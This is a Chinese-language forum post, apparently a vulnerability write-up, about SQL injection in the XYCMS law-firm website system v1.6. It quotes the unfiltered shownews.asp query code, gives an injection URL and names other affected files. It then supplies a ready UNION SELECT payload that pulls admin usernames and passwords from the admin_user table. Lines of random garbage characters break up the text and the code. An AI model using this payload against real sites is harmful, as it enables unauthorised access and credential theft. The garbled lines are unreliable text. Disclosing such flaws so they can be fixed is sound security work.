XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
  q; [8 H$ Y5 V! d! t/ S
  i) y1 F5 F7 h2 D5 `淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

7 }! h, I6 u" [4 U漏洞文件:shownews.asp
# l  @. A; N" X. `8 g漏洞代码：7-13行
8 P8 P& ]" G' ]* V! l  l

7 B4 v( q+ z3 |<%
# I/ d. g0 M* k, b) Mid=request.QueryString("id")
2 k3 l; ~8 L4 L5 H+ I* j; }   
7 L1 @6 u9 W# H" O# s7 xset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
8 u" }: W4 H% I# W, |snews.open exec,conn,1,1
%>
3 H, }* j% y8 s' z) h/ }

( N7 D( Y8 z4 h' e) |1 C什么过滤都没有  直造成注入
. G3 g; ]  H4 P4 k9 G0 R
' o, Z/ P( ?. C/ E8 ^& ?0 O" Y注入点:http://127.0.0.1:99/shownews.asp?id=xx
7 |3 ]4 A9 ^* }; i* ~5 p. F0 _
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


exp: union select 1,admin,password,4,5,7 from admin_user
​
# y4 w' H1 u2 z$ Y# z$ c: Z